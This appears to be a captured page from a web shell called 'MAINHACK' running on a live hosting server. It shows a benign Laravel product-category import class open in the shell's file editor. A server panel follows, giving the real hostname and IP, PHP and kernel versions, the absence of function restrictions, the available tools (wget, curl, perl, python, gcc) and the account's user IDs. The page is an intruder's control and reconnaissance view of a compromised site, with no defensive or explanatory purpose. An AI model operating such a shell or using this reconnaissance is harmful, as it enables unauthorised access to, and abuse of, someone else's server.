[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ProductCategoryImport.php
<?php namespace App\Imports; use App\Enums\Status; use App\Libraries\AppEnum; use Illuminate\Support\Str; use App\Models\ProductCategory; use Illuminate\Validation\Rule; use Maatwebsite\Excel\Concerns\ToModel; use Maatwebsite\Excel\Concerns\Importable; use Maatwebsite\Excel\Concerns\SkipsFailures; use Maatwebsite\Excel\Concerns\SkipsEmptyRows; use Maatwebsite\Excel\Concerns\SkipsOnFailure; use Maatwebsite\Excel\Concerns\WithHeadingRow; use Maatwebsite\Excel\Concerns\WithValidation; class ProductCategoryImport implements ToModel, WithHeadingRow, WithValidation, SkipsOnFailure, SkipsEmptyRows { use Importable, SkipsFailures; public function model(array $row) { return new ProductCategory([ 'name' => $this->sanitizeInput($row['name']), 'slug' => Str::slug($this->sanitizeInput($row['name'])) . rand(1, 1000), 'description' => $this->sanitizeInput($row['description'] ?? null), 'status' => AppEnum::status($row['status']), 'parent_id' => AppEnum::getCategoryId($this->sanitizeInput($row['parent_category'] ?? null)), ]); } public function rules(): array { return [ 'name' => [ 'required', 'string', 'max:190', Rule::unique("product_categories", "name") ], 'description' => ['nullable', 'string', 'max:900'], 'parent_category' => ['nullable', 'string', 'max:190'], 'status' => ['required', 'string', 'max:190'], ]; } private function sanitizeInput($value) { return mb_convert_encoding(trim($value), 'UTF-8', 'UTF-8'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285